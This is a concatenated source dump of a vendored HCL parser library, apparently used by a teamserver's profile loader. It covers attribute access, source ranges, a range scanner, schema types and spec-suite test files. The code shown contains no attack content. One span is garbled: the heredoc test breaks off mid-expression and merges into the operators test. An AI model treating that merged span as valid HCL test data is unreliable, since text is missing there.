provided to use in diagnostics, // though nil can be provided if the calling application is going to // ignore the subject of the returned diagnostics anyway. func GetAttr(obj cty.Value, attrName string, srcRange *Range) (cty.Value, Diagnostics) { if obj.IsNull() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Attempt to get attribute from null value", Detail: "This value is null, so it does not have any attributes.", Subject: srcRange, }, } } const unsupportedAttr = "Unsupported attribute" ty := obj.Type() switch { case ty.IsObjectType(): if !ty.HasAttribute(attrName) { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: fmt.Sprintf("This object does not have an attribute named %q.", attrName), Subject: srcRange, }, } } if !obj.IsKnown() { return cty.UnknownVal(ty.AttributeType(attrName)), nil } return obj.GetAttr(attrName), nil case ty.IsMapType(): if !obj.IsKnown() { return cty.UnknownVal(ty.ElementType()), nil } idx := cty.StringVal(attrName) // Here we drop marks from HasIndex result, in order to allow basic // traversal of a marked map in the same way we can traverse a marked // object hasIndex, _ := obj.HasIndex(idx).Unmark() if hasIndex.False() { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Missing map element", Detail: fmt.Sprintf("This map does not have an element with the key %q.", attrName), Subject: srcRange, }, } } return obj.Index(idx), nil case ty == cty.DynamicPseudoType: return cty.DynamicVal, nil case ty.IsListType() && ty.ElementType().IsObjectType(): // It seems a common mistake to try to access attributes on a whole // list of objects rather than on a specific individual element, so // we have some extra hints for that case. switch { case ty.ElementType().HasAttribute(attrName): // This is a very strong indication that the user mistook the list // of objects for a single object, so we can be a little more // direct in our suggestion here. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: fmt.Sprintf("Can't access attributes on a list of objects. Did you mean to access attribute %q for a specific element of the list, or across all elements of the list?", attrName), Subject: srcRange, }, } default: return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: "Can't access attributes on a list of objects. Did you mean to access an attribute for a specific element of the list, or across all elements of the list?", Subject: srcRange, }, } } case ty.IsSetType() && ty.ElementType().IsObjectType(): // This is similar to the previous case, but we can't give such a // direct suggestion because there is no mechanism to select a single // item from a set. // We could potentially suggest using a for expression or splat // operator here, but we typically don't get into syntax specifics // in hcl.GetAttr suggestions because it's a general function used in // various other situations, such as in application-specific operations // that might have a more constraint set of alternative approaches. return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: "Can't access attributes on a set of objects. Did you mean to access an attribute across all elements of the set?", Subject: srcRange, }, } case ty.IsPrimitiveType(): return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: fmt.Sprintf("Can't access attributes on a primitive-typed value (%s).", ty.FriendlyName()), Subject: srcRange, }, } default: return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: unsupportedAttr, Detail: "This value does not have any attributes.", Subject: srcRange, }, } } } // ApplyPath is a helper function that applies a cty.Path to a value using the // indexing and attribute access operations from HCL. // // This is similar to calling the path's own Apply method, but ApplyPath uses // the more relaxed typing rules that apply to these operations in HCL, rather // than cty's relatively-strict rules. ApplyPath is implemented in terms of // Index and GetAttr, and so it has the same behavior for individual steps // but will stop and return any errors returned by intermediate steps. // // Diagnostics are produced if the given path cannot be applied to the given // value. Therefore a pointer to a source range must be provided to use in // diagnostics, though nil can be provided if the calling application is going // to ignore the subject of the returned diagnostics anyway. func ApplyPath(val cty.Value, path cty.Path, srcRange *Range) (cty.Value, Diagnostics) { var diags Diagnostics for _, step := range path { var stepDiags Diagnostics switch ts := step.(type) { case cty.IndexStep: val, stepDiags = Index(val, ts.Key, srcRange) case cty.GetAttrStep: val, stepDiags = GetAttr(val, ts.Name, srcRange) default: // Should never happen because the above are all of the step types. diags = diags.Append(&Diagnostic{ Severity: DiagError, Summary: "Invalid path step", Detail: fmt.Sprintf("Go type %T is not a valid path step. This is a bug in this program.", step), Subject: srcRange, }) return cty.DynamicVal, diags } diags = append(diags, stepDiags...) if stepDiags.HasErrors() { return cty.DynamicVal, diags } } return val, diags } ================================================ FILE: teamserver/pkg/profile/yaotl/pos.go ================================================ package hcl import "fmt" // Pos represents a single position in a source file, by addressing the // start byte of a unicode character encoded in UTF-8. // // Pos is generally used only in the context of a Range, which then defines // which source file the position is within. type Pos struct { // Line is the source code line where this position points. Lines are // counted starting at 1 and incremented for each newline character // encountered. Line int // Column is the source code column where this position points, in // unicode characters, with counting starting at 1. // // Column counts characters as they appear visually, so for example a // latin letter with a combining diacritic mark counts as one character. // This is intended for rendering visual markers against source code in // contexts where these diacritics would be rendered in a single character // cell. Technically speaking, Column is counting grapheme clusters as // used in unicode normalization. Column int // Byte is the byte offset into the file where the indicated character // begins. This is a zero-based offset to the first byte of the first // UTF-8 codepoint sequence in the character, and thus gives a position // that can be resolved _without_ awareness of Unicode characters. Byte int } // InitialPos is a suitable position to use to mark the start of a file. var InitialPos = Pos{Byte: 0, Line: 1, Column: 1} // Range represents a span of characters between two positions in a source // file. // // This struct is usually used by value in types that represent AST nodes, // but by pointer in types that refer to the positions of other objects, // such as in diagnostics. type Range struct { // Filename is the name of the file into which this range's positions // point. Filename string // Start and End represent the bounds of this range. Start is inclusive // and End is exclusive. Start, End Pos } // RangeBetween returns a new range that spans from the beginning of the // start range to the end of the end range. // // The result is meaningless if the two ranges do not belong to the same // source file or if the end range appears before the start range. func RangeBetween(start, end Range) Range { return Range{ Filename: start.Filename, Start: start.Start, End: end.End, } } // RangeOver returns a new range that covers both of the given ranges and // possibly additional content between them if the two ranges do not overlap. // // If either range is empty then it is ignored. The result is empty if both // given ranges are empty. // // The result is meaningless if the two ranges to not belong to the same // source file. func RangeOver(a, b Range) Range { if a.Empty() { return b } if b.Empty() { return a } var start, end Pos if a.Start.Byte < b.Start.Byte { start = a.Start } else { start = b.Start } if a.End.Byte > b.End.Byte { end = a.End } else { end = b.End } return Range{ Filename: a.Filename, Start: start, End: end, } } // ContainsPos returns true if and only if the given position is contained within // the receiving range. // // In the unlikely case that the line/column information disagree with the byte // offset information in the given position or receiving range, the byte // offsets are given priority. func (r Range) ContainsPos(pos Pos) bool { return r.ContainsOffset(pos.Byte) } // ContainsOffset returns true if and only if the given byte offset is within // the receiving Range. func (r Range) ContainsOffset(offset int) bool { return offset >= r.Start.Byte && offset < r.End.Byte } // Ptr returns a pointer to a copy of the receiver. This is a convenience when // ranges in places where pointers are required, such as in Diagnostic, but // the range in question is returned from a method. Go would otherwise not // allow one to take the address of a function call. func (r Range) Ptr() *Range { return &r } // String returns a compact string representation of the receiver. // Callers should generally prefer to present a range more visually, // e.g. via markers directly on the relevant portion of source code. func (r Range) String() string { if r.Start.Line == r.End.Line { return fmt.Sprintf( "%s:%d,%d-%d", r.Filename, r.Start.Line, r.Start.Column, r.End.Column, ) } else { return fmt.Sprintf( "%s:%d,%d-%d,%d", r.Filename, r.Start.Line, r.Start.Column, r.End.Line, r.End.Column, ) } } func (r Range) Empty() bool { return r.Start.Byte == r.End.Byte } // CanSliceBytes returns true if SliceBytes could return an accurate // sub-slice of the given slice. // // This effectively tests whether the start and end offsets of the range // are within the bounds of the slice, and thus whether SliceBytes can be // trusted to produce an accurate start and end position within that slice. func (r Range) CanSliceBytes(b []byte) bool { switch { case r.Start.Byte < 0 || r.Start.Byte > len(b): return false case r.End.Byte < 0 || r.End.Byte > len(b): return false case r.End.Byte < r.Start.Byte: return false default: return true } } // SliceBytes returns a sub-slice of the given slice that is covered by the // receiving range, assuming that the given slice is the source code of the // file indicated by r.Filename. // // If the receiver refers to any byte offsets that are outside of the slice // then the result is constrained to the overlapping portion only, to avoid // a panic. Use CanSliceBytes to determine if the result is guaranteed to // be an accurate span of the requested range. func (r Range) SliceBytes(b []byte) []byte { start := r.Start.Byte end := r.End.Byte if start < 0 { start = 0 } else if start > len(b) { start = len(b) } if end < 0 { end = 0 } else if end > len(b) { end = len(b) } if end < start { end = start } return b[start:end] } // Overlaps returns true if the receiver and the other given range share any // characters in common. func (r Range) Overlaps(other Range) bool { switch { case r.Filename != other.Filename: // If the ranges are in different files then they can't possibly overlap return false case r.Empty() || other.Empty(): // Empty ranges can never overlap return false case r.ContainsOffset(other.Start.Byte) || r.ContainsOffset(other.End.Byte): return true case other.ContainsOffset(r.Start.Byte) || other.ContainsOffset(r.End.Byte): return true default: return false } } // Overlap finds a range that is either identical to or a sub-range of both // the receiver and the other given range. It returns an empty range // within the receiver if there is no overlap between the two ranges. // // A non-empty result is either identical to or a subset of the receiver. func (r Range) Overlap(other Range) Range { if !r.Overlaps(other) { // Start == End indicates an empty range return Range{ Filename: r.Filename, Start: r.Start, End: r.Start, } } var start, end Pos if r.Start.Byte > other.Start.Byte { start = r.Start } else { start = other.Start } if r.End.Byte < other.End.Byte { end = r.End } else { end = other.End } return Range{ Filename: r.Filename, Start: start, End: end, } } // PartitionAround finds the portion of the given range that overlaps with // the receiver and returns three ranges: the portion of the receiver that // precedes the overlap, the overlap itself, and then the portion of the // receiver that comes after the overlap. // // If the two ranges do not overlap then all three returned ranges are empty. // // If the given range aligns with or extends beyond either extent of the // receiver then the corresponding outer range will be empty. func (r Range) PartitionAround(other Range) (before, overlap, after Range) { overlap = r.Overlap(other) if overlap.Empty() { return overlap, overlap, overlap } before = Range{ Filename: r.Filename, Start: r.Start, End: overlap.Start, } after = Range{ Filename: r.Filename, Start: overlap.End, End: r.End, } return before, overlap, after } ================================================ FILE: teamserver/pkg/profile/yaotl/pos_scanner.go ================================================ package hcl import ( "bufio" "bytes" "github.com/apparentlymart/go-textseg/v13/textseg" ) // RangeScanner is a helper that will scan over a buffer using a bufio.SplitFunc // and visit a source range for each token matched. // // For example, this can be used with bufio.ScanLines to find the source range // for each line in the file, skipping over the actual newline characters, which // may be useful when printing source code snippets as part of diagnostic // messages. // // The line and column information in the returned ranges is produced by // counting newline characters and grapheme clusters respectively, which // mimics the behavior we expect from a parser when producing ranges. type RangeScanner struct { filename string b []byte cb bufio.SplitFunc pos Pos // position of next byte to process in b cur Range // latest range tok []byte // slice of b that is covered by cur err error // error from last scan, if any } // NewRangeScanner creates a new RangeScanner for the given buffer, producing // ranges for the given filename. // // Since ranges have grapheme-cluster granularity rather than byte granularity, // the scanner will produce incorrect results if the given SplitFunc creates // tokens between grapheme cluster boundaries. In particular, it is incorrect // to use RangeScanner with bufio.ScanRunes because it will produce tokens // around individual UTF-8 sequences, which will split any multi-sequence // grapheme clusters. func NewRangeScanner(b []byte, filename string, cb bufio.SplitFunc) *RangeScanner { return NewRangeScannerFragment(b, filename, InitialPos, cb) } // NewRangeScannerFragment is like NewRangeScanner but the ranges it produces // will be offset by the given starting position, which is appropriate for // sub-slices of a file, whereas NewRangeScanner assumes it is scanning an // entire file. func NewRangeScannerFragment(b []byte, filename string, start Pos, cb bufio.SplitFunc) *RangeScanner { return &RangeScanner{ filename: filename, b: b, cb: cb, pos: start, } } func (sc *RangeScanner) Scan() bool { if sc.pos.Byte >= len(sc.b) || sc.err != nil { // All done return false } // Since we're operating on an in-memory buffer, we always pass the whole // remainder of the buffer to our SplitFunc and set isEOF to let it know // that it has the whole thing. advance, token, err := sc.cb(sc.b[sc.pos.Byte:], true) // Since we are setting isEOF to true this should never happen, but // if it does we will just abort and assume the SplitFunc is misbehaving. if advance == 0 && token == nil && err == nil { return false } if err != nil { sc.err = err sc.cur = Range{ Filename: sc.filename, Start: sc.pos, End: sc.pos, } sc.tok = nil return false } sc.tok = token start := sc.pos end := sc.pos new := sc.pos // adv is similar to token but it also includes any subsequent characters // we're being asked to skip over by the SplitFunc. // adv is a slice covering any additional bytes we are skipping over, based // on what the SplitFunc told us to do with advance. adv := sc.b[sc.pos.Byte : sc.pos.Byte+advance] // We now need to scan over our token to count the grapheme clusters // so we can correctly advance Column, and count the newlines so we // can correctly advance Line. advR := bytes.NewReader(adv) gsc := bufio.NewScanner(advR) advanced := 0 gsc.Split(textseg.ScanGraphemeClusters) for gsc.Scan() { gr := gsc.Bytes() new.Byte += len(gr) new.Column++ // We rely here on the fact that \r\n is considered a grapheme cluster // and so we don't need to worry about miscounting additional lines // on files with Windows-style line endings. if len(gr) != 0 && (gr[0] == '\r' || gr[0] == '\n') { new.Column = 1 new.Line++ } if advanced < len(token) { // If we've not yet found the end of our token then we'll // also push our "end" marker along. // (if advance > len(token) then we'll stop moving "end" early // so that the caller only sees the range covered by token.) end = new } advanced += len(gr) } sc.cur = Range{ Filename: sc.filename, Start: start, End: end, } sc.pos = new return true } // Range returns a range that covers the latest token obtained after a call // to Scan returns true. func (sc *RangeScanner) Range() Range { return sc.cur } // Bytes returns the slice of the input buffer that is covered by the range // that would be returned by Range. func (sc *RangeScanner) Bytes() []byte { return sc.tok } // Err can be called after Scan returns false to determine if the latest read // resulted in an error, and obtain that error if so. func (sc *RangeScanner) Err() error { return sc.err } ================================================ FILE: teamserver/pkg/profile/yaotl/schema.go ================================================ package hcl // BlockHeaderSchema represents the shape of a block header, and is // used for matching blocks within bodies. type BlockHeaderSchema struct { Type string LabelNames []string } // AttributeSchema represents the requirements for an attribute, and is used // for matching attributes within bodies. type AttributeSchema struct { Name string Required bool } // BodySchema represents the desired shallow structure of a body. type BodySchema struct { Attributes []AttributeSchema Blocks []BlockHeaderSchema } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/README.md ================================================ # HCL Language Test Suite This directory contains an implementation-agnostic test suite that can be used to verify the correct behavior not only of the HCL implementation in _this_ repository but also of possible other implementations. The harness for running this suite -- a Go program in this directory -- uses the `hcldec` program as a level of abstraction to avoid depending directly on the Go implementation. As a result, other HCL implementations must also include a version of `hcldec` in order to run this spec. The tests defined in this suite each correspond to a detail of [the HCL spec](../spec.md). This suite is separate from and not a substitute for direct unit tests of a given implementation that would presumably also exercise that implementation's own programmatic API. To run the suite, first build the harness using Go: ``` go install Havoc/pkg/profile/yaotl/cmd/hclspecsuite ``` Then run it, passing it the directory containing the test definitions (the "tests" subdirectory of this directory) and the path to the `hcldec` executable to use. For example, if working in the root of this repository and using the `hcldec` implementation from here: ``` go install ./cmd/hcldec hclspecsuite ./specsuite/tests $GOPATH/bin/hcldec ``` For developers working on the Go implementation of HCL from this repository, please note that this spec suite is run as part of a normal `go test ./...` execution for this whole repository and so does not need to be run separately. ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/spec_test.go ================================================ package spectests import ( "bufio" "bytes" "fmt" "os" "os/exec" "path/filepath" "runtime" "strings" "testing" ) func TestMain(m *testing.M) { // The test harness is an external program that also expects to have // hcldec built as an external program, so we'll build both into // temporary files in our working directory before running our tests // here, to ensure that we're always running a build of the latest code. err := build() if err != nil { fmt.Fprintf(os.Stderr, "%s\n", err.Error()) os.Exit(1) } // Now we can run the tests os.Exit(m.Run()) } func build() error { err := goBuild("Havoc/pkg/profile/yaotl/cmd/hcldec", "tmp_hcldec") if err != nil { return fmt.Errorf("error building hcldec: %s", err) } err = goBuild("Havoc/pkg/profile/yaotl/cmd/hclspecsuite", "tmp_hclspecsuite") if err != nil { return fmt.Errorf("error building hcldec: %s", err) } return nil } func TestSpec(t *testing.T) { suiteDir := filepath.Clean("../specsuite/tests") harness := "./tmp_hclspecsuite" hcldec := "./tmp_hcldec" cmd := exec.Command(harness, suiteDir, hcldec) out, err := cmd.CombinedOutput() if _, isExit := err.(*exec.ExitError); err != nil && !isExit { t.Errorf("failed to run harness: %s", err) } failed := err != nil sc := bufio.NewScanner(bytes.NewReader(out)) var lines []string for sc.Scan() { lines = append(lines, sc.Text()) } i := 0 for i < len(lines) { cur := lines[i] if strings.HasPrefix(cur, "- ") { testName := cur[2:] t.Run(testName, func(t *testing.T) { i++ for i < len(lines) { cur := lines[i] if strings.HasPrefix(cur, "- ") || strings.HasPrefix(cur, "==") { return } t.Error(cur) i++ } }) } else { if !strings.HasPrefix(cur, "==") { // not the "test harness problems" report, then t.Log(cur) } i++ } } if failed { t.Error("specsuite failed") } } func goBuild(pkg, outFile string) error { if runtime.GOOS == "windows" { outFile += ".exe" } cmd := exec.Command("go", "build", "-o", outFile, pkg) cmd.Stderr = os.Stderr cmd.Stdout = os.Stdout return cmd.Run() } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.hcl ================================================ # Hash comment ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.hcldec ================================================ literal { value = "ok" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/hash_comment.t ================================================ # This test parses a file containing only a comment. It is a parsing-only test, # so the hcldec spec for this test is just a literal value given below. result = "ok" ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/multiline_comment.hcl ================================================ /* Multi-line comment */ ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/multiline_comment.hcldec ================================================ literal { value = "ok" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/multiline_comment.t ================================================ # This test parses a file containing only a comment. It is a parsing-only test, # so the hcldec spec for this test is just a literal value given below. result = "ok" ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/slash_comment.hcl ================================================ // Slash comment ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/slash_comment.hcldec ================================================ literal { value = "ok" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/comments/slash_comment.t ================================================ # This test parses a file containing only a comment. It is a parsing-only test, # so the hcldec spec for this test is just a literal value given below. result = "ok" ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcl ================================================ ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcl.json ================================================ {} ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/empty.hcldec ================================================ literal { value = "ok" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/empty.t ================================================ # This test ensures that we can successfully parse an empty file. # Since an empty file has no content, the hcldec spec for this test is # just a literal value, which we test below. result = "ok" traversals { # Explicitly no traversals } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/expressions/heredoc.hcl ================================================ normal = { basic = <" { lt = 1 > 2 gt = 2 > 1 eq = 1 > 1 } inequality ">=" { lt = 1 >= 2 gt = 2 >= 1 eq = 1 >= 1 } arithmetic { add = 2 + 3.5 add_big = 3.14159265358979323846264338327950288419716939937510582097494459 + 1 sub = 3.5 - 2 sub_neg = 2 - 3.5 mul = 2 * 4.5 div = 1 / 10 mod = 11 % 5 mod_frac = 11 % 5.1 } logical_binary "&&" { tt = true && true ft = false && true tf = true && false ff = false && false } logical_binary "||" { tt = true || true ft = false || true tf = true || false ff = false || false } logical_unary "!" { t = !true f = !false } conditional { t = true ? "a" : "b" f = false ? "a" : "b" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/expressions/operators.hcldec ================================================ object { block_map "equality" { labels = ["operator"] object { attr "exactly" { type = bool } attr "not" { type = bool } attr "type_mismatch_number" { type = bool } attr "type_mismatch_bool" { type = bool } } } block_map "inequality" { labels = ["operator"] object { attr "lt" { type = bool } attr "gt" { type = bool } attr "eq" { type = bool } } } block "arithmetic" { object { attr "add" { type = any } attr "add_big" { type = any } attr "sub" { type = any } attr "sub_neg" { type = any } attr "mul" { type = any } attr "div" { type = any } attr "mod" { type = any } attr "mod_frac" { type = any } } } block_map "logical_binary" { labels = ["operator"] object { attr "tt" { type = bool } attr "ft" { type = bool } attr "tf" { type = bool } attr "ff" { type = bool } } } block_map "logical_unary" { labels = ["operator"] object { attr "t" { type = bool } attr "f" { type = bool } } } block "conditional" { object { attr "t" { type = any } attr "f" { type = any } } } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/expressions/operators.t ================================================ result = { equality = { "==" = { exactly = true not = false type_mismatch_number = false type_mismatch_bool = false } "!=" = { exactly = false not = true type_mismatch_number = true type_mismatch_bool = true } } inequality = { "<" = { lt = true gt = false eq = false } "<=" = { lt = true gt = false eq = true } ">" = { lt = false gt = true eq = false } ">=" = { lt = false gt = true eq = true } } arithmetic = { add = 5.5 add_big = 4.14159265358979323846264338327950288419716939937510582097494459 sub = 1.5 sub_neg = -1.5 mul = 9 div = 0.1 mod = 1 mod_frac = 0.80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024 } logical_binary = { "&&" = { tt = true tf = false ft = false ff = false } "||" = { tt = true tf = true ft = true ff = false } } logical_unary = { "!" = { t = false f = true } } conditional = { t = "a" f = "b" } } result_type = object({ equality = map(object({ exactly = bool not = bool type_mismatch_number = bool type_mismatch_bool = bool })) inequality = map(object({ lt = bool gt = bool eq = bool })) arithmetic = object({ add = number add_big = number sub = number sub_neg = number mul = number div = number mod = number mod_frac = number }) logical_binary = map(object({ tt = bool tf = bool ft = bool ff = bool })) logical_unary = map(object({ t = bool f = bool })) conditional = object({ t = string f = string }) }) ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/expressions/primitive_literals.hcl ================================================ # Numbers whole_number = 5 fractional_number = 3.2 fractional_number_precision = 3.14159265358979323846264338327950288419716939937510582097494459 # Strings string_ascii = "hello" string_unicode_bmp = "ЖЖ" string_unicode_astral = "👩‍👩‍👧‍👦" string_unicode_nonnorm = "años" # This is intentionally a combining tilde followed by n # Booleans true = true false = false # Null null = null ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/expressions/primitive_literals.hcldec ================================================ object { attr "whole_number" { type = any } attr "fractional_number" { type = any } attr "fractional_number_precision" { type = any } attr "string_ascii" { type = any } attr "string_unicode_bmp" { type = any } attr "string_unicode_astral" { type = any } attr "string_unicode_nonnorm" { type = any } attr "true" { type = any } attr "false" { type = any } attr "null" { type = any } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/expressions/primitive_literals.t ================================================ result_type = object({ whole_number = number fractional_number = number fractional_number_precision = number string_ascii = string string_unicode_bmp = string string_unicode_astral = string string_unicode_nonnorm = string true = bool false = bool null = any }) result = { # Numbers whole_number = 5 fractional_number = 3.2 fractional_number_precision = 3.14159265358979323846264338327950288419716939937510582097494459 # Strings string_ascii = "hello" string_unicode_bmp = "ЖЖ" string_unicode_astral = "👩‍👩‍👧‍👦" string_unicode_nonnorm = "años" # now a precomposed ñ, because HCL imposes NFC normalization # FIXME: The above normalization test doesn't necessarily test what it thinks # it is testing, because this file is also HCL and thus subject to # normalization; as long as the parser normalizes consistently this could # pass even if it's using a different normalization form. # The left hand side of these are quoted to make it clear that we're expecting # to get strings here, not really true/false/null. "true" = true "false" = false "null" = null } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/expected.hcl ================================================ a = "a value" b = "b value" c = "c value" ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/expected.hcldec ================================================ object { attr "a" { type = string } attr "b" { type = string } attr "c" { type = string } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/expected.t ================================================ result_type = object({ a = string b = string c = string }) result = { a = "a value" b = "b value" c = "c value" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/singleline_bad.hcl ================================================ a = "a value", b = "b value" ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/singleline_bad.hcldec ================================================ literal { value = null } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/singleline_bad.t ================================================ # This test verifies that comma-separated attributes on the same line are # reported as an error, rather than being parsed like an object constructor # expression. diagnostics { error { # Message like "missing newline after argument" or "each argument must be on its own line" from { line = 1 column = 14 byte = 13 } to { line = 1 column = 15 byte = 14 } } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/unexpected.hcl ================================================ a = "a value" b = "b value" c = "c value" d = "d value" ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/unexpected.hcldec ================================================ object { attr "a" { type = string } attr "b" { type = string } attr "d" { type = string } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/unexpected.t ================================================ diagnostics { error { # An argument named "c" is not expected here. from { line = 3 column = 1 byte = 28 } to { line = 3 column = 2 byte = 29 } } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_empty_oneline.hcl ================================================ a {} ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_empty_oneline.hcldec ================================================ block { block_type = "a" object {} } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_empty_oneline.t ================================================ result_type = object({}) ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_expected.hcl ================================================ a { } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_expected.hcldec ================================================ block { block_type = "a" object {} } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_expected.t ================================================ result_type = object({}) ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline.hcl ================================================ a { b = "foo" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline.hcldec ================================================ block { block_type = "a" object { attr "b" { type = string } } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline.t ================================================ result_type = object({ b = string }) result = { b = "foo" } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline_invalid.hcl ================================================ a { b = "foo", c = "bar" } a { b = "foo" } a { b = "foo" c = "bar" } a { b = "foo" c = "bar" } a { d {} } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline_invalid.hcldec ================================================ block_list { block_type = "a" object { attr "b" { type = string } attr "c" { type = string } block_list "d" { object {} } } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline_invalid.t ================================================ diagnostics { error { # Message like "Only one argument is allowed in a single-line block definition" from { line = 1 column = 14 byte = 13 } to { line = 1 column = 15 byte = 14 } } error { # Message like "The closing brace for a single-line block definition must be on the same line" from { line = 2 column = 14 byte = 40 } to { line = 3 column = 1 byte = 41 } } error { # Message like "The closing brace for a single-line block definition must be on the same line" from { line = 4 column = 14 byte = 56 } to { line = 5 column = 1 byte = 57 } } error { # Message like "The closing brace for a single-line block definition must be on the same line" from { line = 6 column = 14 byte = 84 } to { line = 7 column = 1 byte = 85 } } error { # Message like "A single-line block definition cannot contain another block definition" from { line = 9 column = 5 byte = 103 } to { line = 9 column = 8 byte = 106 } } } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_unclosed.hcl ================================================ a { ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_unclosed.hcldec ================================================ block { block_type = "a" object {} } ================================================ FILE: teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_unclosed.t ================================================ diagnostics { error { from { line = 2 column = 1 byte = 4 } to { line = 2 column = 1 byte = 4 } } } ================================================ FILE: teamserver/pkg/profile/yaotl/static_expr.go ================================================ package hcl import ( "github.com/zclconf/go-cty/cty" ) type staticExpr struct { val cty.Value rng Range } // StaticExpr returns an Expression that always evaluates to the given value. // // This is useful to substitute default values for expressions that are // not explicitly given in configuration and thus would otherwise have no // Expression to return. // // Since expressions are expected to have a source range, the caller must // provide one. Ideally this should be a real source range, but it can // be a synthetic one (with an empty-string filename) if no suitable range // is available. func StaticExpr(val cty.Value, rng Range) Expression { return staticExpr{val, rng} } func (e staticExpr) Value(ctx *EvalContext) (cty.Value, Diagnostics) { return e.val, nil } func (e staticExpr) Variables() []Traversal { return nil } func (e staticExpr) Range() Range { return e.rng } func (e staticExpr) StartRange() Range { return e.rng } ================================================ FILE: teamserver/pkg/profile/yaotl/structure.go ================================================ package hcl import ( "github.com/zclconf/go-cty/cty" ) // File is the top-level node that results from parsing a HCL file. type File struct { Body Body Bytes []byte // Nav is used to integrate with the "hcled" editor integration package, // and with diagnostic information formatters. It is not for direct use // by a calling application. Nav interface{} } // Block represents a nested block within a Body. type Block struct { Type string Labels []string Body Body DefRange Range // Range that can be considered the "definition" for seeking in an editor TypeRange Range // Range for the block type declaration specifically. LabelRanges []Range // Ranges for the label values specifically. } // Blocks is a sequence of Block. type Blocks []*Block // Attributes is a set of attributes keyed by their names. type Attributes map[string]*Attribute // Body is a container for attributes and blocks. It serves as the primary // unit of hierarchical structure within configuration. // // The content of a body cannot be meaningfully interpreted without a schema, // so Body represents the raw body content and has methods that allow the // content to be extracted in terms of a given schema. type Body interface { // Content verifies that the entire body content conforms to the given // schema and then returns it, and/or returns diagnostics. The returned // body content is valid if non-nil, regardless of whether Diagnostics // are provided, but diagnostics should still be eventually shown to // the user. Content(schema *BodySchema) (*BodyContent, Diagnostics) // PartialContent is like Content except that it permits the configuration // to contain additional blocks or attributes not specified in the // schema. If any are present, the returned Body is non-nil and contains // the remaining items from the body that were not selected by the schema. PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) // JustAttributes attempts to interpret all of the contents of the body // as attributes, allowing for the contents to be accessed without a priori // knowledge of the structure. // // The behavior of this method depends on the body's source language. // Some languages, like JSON, can't distinguish between attributes and // blocks without schema hints, but for languages that _can_ error // diagnostics will be generated if any blocks are present in the body. // // Diagnostics may be produced for other reasons too, such as duplicate // declarations of the same attribute. JustAttributes() (Attributes, Diagnostics) // MissingItemRange returns a range that represents where a missing item // might hypothetically be inserted. This is used when producing // diagnostics about missing required attributes or blocks. Not all bodies // will have an obvious single insertion point, so the result here may // be rather arbitrary. MissingItemRange() Range } // BodyContent is the result of applying a BodySchema to a Body. type BodyContent struct { Attributes Attributes Blocks Blocks 